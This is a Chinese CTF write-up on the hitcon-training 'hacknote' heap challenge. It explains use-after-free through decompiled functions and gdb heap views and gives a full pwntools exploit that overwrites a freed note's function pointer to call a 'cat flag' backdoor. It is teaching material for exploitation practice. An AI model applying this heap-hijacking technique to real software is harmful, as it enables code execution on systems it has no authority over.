堆利用 - Use After Free

堆利用 - Use After Free

概述:

Use after free ,直译过来就是在释放后再利用,那么是怎么在释放后再利用的呢?

其实这个释放后再利用主要是因为在程序中原本指向某些函数或堆块的指针在堆块被free或函数结束后指针本身确没有被置空,那么这个没有被置空的指针所在的堆块虽然被释放了,但是我们却还可以通过程序内对堆块内部的操作来执行这个指针指向的函数。

#以下的内容截取自CTF-wiki#

堆块被释放后一般有以下几种情况:

  • 内存块被释放后,其对应的指针被设置为 NULL , 然后再次使用,自然程序会崩溃。
  • 内存块被释放后,其对应的指针没有被设置为 NULL ,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转
  • 内存块被释放后,其对应的指针没有被设置为 NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

在wiki中有一个关于UAF的示例,结合源码就可以很清楚的看到UAF的利用过程,这篇文章主要是要写一道例题

例题:hitcon-training-hacknote

练习网址:https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote

静态分析:

add_note()函数:
unsigned int add_note()
{
  int v0; // ebx
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  if ( count <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !*(&notelist + i) )
      {
        *(&notelist + i) = malloc(8u);
        if ( !*(&notelist + i) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *(_DWORD *)*(&notelist + i) = print_note_content;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf);
        v0 = (int)*(&notelist + i);
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*((_DWORD *)*(&notelist + i) + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *((void **)*(&notelist + i) + 1), size);
        puts("Success !");
        ++count;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}

对应create功能,简单说一下这个函数的执行流程:首先这里有一个基址 &notelist(0x0804A070)程序是通过这个机制加上偏移来在某个地址上申请堆块。

函数开始时先创建了一个8字节的堆块,这是作为程序申请的chunk结构体指针,并在这个结构体之中的第一个位置上存放了一个函数指针:

 *(_DWORD *)*(&notelist + i) = print_note_content;

然后让用户自主输入一个数字来决定并申请content堆块,然后将这个指向这个内容堆块的指针存放在结构体堆块中的第二个位置上

*(_DWORD *)(v0 + 4) = malloc(size);

所以结构体堆块中存放的信息大概如下:

在这里插入图片描述

剩下的部分就是往申请的内容堆块里读入用户输入的数据,还有一点要注意的就是这个内容堆块的紧邻这结构体堆块的:

read(0, *((void **)*(&notelist + i) + 1), size);
del_note()函数:
unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
  {
    free(*((void **)*(&notelist + v1) + 1));
    free(*(&notelist + v1));
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}

对应delete功能,这一次的UAF漏洞就发生在这个函数之中,我们可以看见,在函数释放堆块之后,在结构体堆块中的函数指针等并没没有被置空,这就出现UAF漏洞

 if ( *(&notelist + v1) )
  {
    free(*((void **)*(&notelist + v1) + 1));
    free(*(&notelist + v1));
    puts("Success");
  }

也就是这里,在free掉结构体堆块和content堆块并没有将指针置空

print_note()函数:
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(&notelist + v1) )
    (*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));
  return __readgsdword(0x14u) ^ v3;
}

对应show功能,这个函数中最重要的就是这一行代码:

(*(void (__cdecl **)(_DWORD))*(&notelist + v1))(*(&notelist + v1));

这段代码的内容中出现了两个**&notelist + v1**,第一个是调用函数指针,开始执行这个地址上存放的函数指针对应的函数功能,第二个是为即将调用的打印函数传参

在在后面对漏洞的利用中我们再次调用函数就要用到这行代码的功能

print_note_content函数:

int __cdecl print_note_content(int a1)
{
  return puts(*(const char **)(a1 + 4));
}

功能就是打印传入参数地址 + 4位置上的内容(也就是对应的结构体堆块中的content指针指向的content堆块中的内容)

magic函数:

内存分析:

int magic()
{
  return system("cat flag");
}

很明显这是个后门函数,在后面我们会用到

我们进入gdb调试以后先随便创建两个堆块,然后联合heap指令看一下对应堆块中的内容:
在这里插入图片描述

这里可以看见我们创建的两个堆块的结构体堆块和对应的content堆块,进入这些堆块看一下:
在这里插入图片描述

这里由于我的gdb是以64位的形式来展现的,所以一行里其实是两个内容,看起来会有点别扭

可以看见我们的结构体堆块和content堆块是紧挨着的,然后我们释放掉这两个堆块再看一下:

在这里插入图片描述

这里可以看见虽然堆块内的内容被清空了,但是实现打印功能函数还在,那么我们就可以覆盖掉这个函数指针,将其替换成前面的那个后门函数就可以拿到flag了

思路整理:

1.创建两个堆块,content大小可以随意,但是不能小于8字节,不然会影响后面的利用

2.将创建好的两个堆块释放掉,由于fastbin的机制,这两个堆块对应的结构体堆块会进入fastbins中(两个的大小都为16字节)

3.我们在释放后如果马上再申请一个content大小为0x8的堆块,那么我们就会又需要两个0x16字节大小的堆块,此时存放在fastbins中的两个堆块就会被启用来分别作为这个最新申请的堆块的结构体和内容堆块那么我们就可以对重新启用的这两个堆块中的函数指针进行覆盖**

4.将重新启用作为content的那个堆块中的print_note_content函数指针覆盖为后面函数的地址,再选择print_note()函数的打印功能就可以执行这个后门函数了

EXP:

from pwn import *

context.log_level = 'debug'

io = process("./hacknote")
elf = ELF("./hacknote")

flag_addr = 0x0804898F

def create(size,content):
    io.recvuntil(":")
    io.sendline(b"1")
    io.recvuntil(":")
    io.sendline(bytes(str(size), encoding = 'utf-8'))
    io.recvuntil(":")
    io.send(content)
def delete(idx):
    io.recvuntil(":")
    io.sendline(b'2')
    io.recvuntil(":")
    io.sendline(bytes(str(idx), encoding = 'utf-8'))
def show(idx):
    io.recvuntil(":")
    io.sendline(b'3')
    io.recvuntil(":")
    io.sendline(bytes(str(idx), encoding = 'utf-8'))

create(0x20,b'aaaaa')
create(0x20,b'bbbbb')

delete(1)
delete(0)

payload = p32(flag_addr)

create(8,payload)

show(1)

io.interactive()

tips:

在利用时要注意我们释放堆块时的顺序,这里我们是先释放了1,然后是0,这样的话在fastbins的链表中先被取出使用的就是编号为0的堆块(作为结构体指针),编号为1的堆块作为content堆块,所以我们在后面再次调用打印功能是要选择编号为1的堆块

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
### 回答1: "heap-use-after-free" 是一种常见的内存错误,通常发生在程序试图在释放了一块内存后仍然引用该内存地址的情况下。 在使用分配的内存时,如果程序在释放内存后还引用该内存地址,就会导致 "heap-use-after-free" 错误。这可能会导致程序崩溃、数据损坏或安全漏洞。 为了避免 "heap-use-after-free" 错误,程序员应该确保在释放内存后不再使用该内存地址。可以通过将指向已释放内存的指针设置为 NULL 或使用内存分配器函数(如 malloc、calloc、realloc 等)来避免这种错误。另外,一些内存调试工具也可以检测这种错误并提供更多的信息来帮助程序员调试。 ### 回答2: heap-use-after-free是一种常见的相关漏洞,它在程序中利用了一个已经被释放的内存。当我们释放内存后,如果不小心继续使用已经释放的内存,就会导致heap-use-after-free漏洞。 当一个内存被释放后,它会返回给管理器,可以被重新分配给其他程序使用。然而,如果我们在释放内存后,仍然持有对该内存的指针,并且在后续的代码中使用了该指针,就会造成heap-use-after-free漏洞。 这种错误的使用已经释放的内存可能导致程序的不可预测行为,甚至可以被恶意攻击者利用来执行任意代码。攻击者可以通过控制已释放的内存中的数据来改变程序的执行流程或者读取敏感信息。 为了防止heap-use-after-free漏洞的发生,我们应该遵循一些最佳实践。首先,确保在不再使用内存之前将其正确释放。其次,及时将已经释放的指针设置为NULL,以避免误用。此外,使用管理器提供的专用函数来分配和释放内存,避免手动管理内存,可以减少这类错误的发生。 最后,漏洞修复是非常重要的。在发现了heap-use-after-free漏洞后,我们应该尽快修复它,以避免潜在的安全问题。修复这类漏洞的方法包括修改程序逻辑、改变内存分配和释放的顺序等。 综上所述,heap-use-after-free是一种常见的相关漏洞,它产生于程序中继续使用已经释放的内存。为了防止这类漏洞的发生,我们需要注意正确地分配和释放内存,并及时修复已发现的漏洞。 ### 回答3: heap-use-after-free是指在上释放了某个内存块,但之后仍然对该内存块进行了访问或操作。这种错误通常发生在程序员没有正确管理内存的情况下。 当释放完一个内存块之后,程序应该立即将指向该内存块的指针置为NULL,以防止错误地访问已经释放的内存块。然而,如果未将指针置为NULL,并继续使用该指针进行读取或写入操作,就会产生heap-use-after-free错误。 这种错误可能导致一些严重的后果。例如,可能会导致程序崩溃、数据损坏,甚至存在潜在的安全风险。因此,程序员在使用上分配的内存时,必须遵守正确的内存管理规则,包括正确释放内存并及时将指针置为NULL。 为了避免heap-use-after-free错误,程序员可以采取以下几种措施。首先,尽量使用动态内存分配的高级抽象机制,如智能指针或垃圾回收器,以自动管理内存。其次,当手动管理内存时,要确保正确释放内存并将指针置为NULL。另外,可以使用工具进行内存泄漏检测和动态分析,以及进行严格的代码审查和测试,以提前发现和修复heap-use-after-free错误。 总之,heap-use-after-free是一种内存管理错误,程序员必须小心处理以避免产生严重的后果。正确的内存管理和代码审查是预防这种错误的有效方法。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值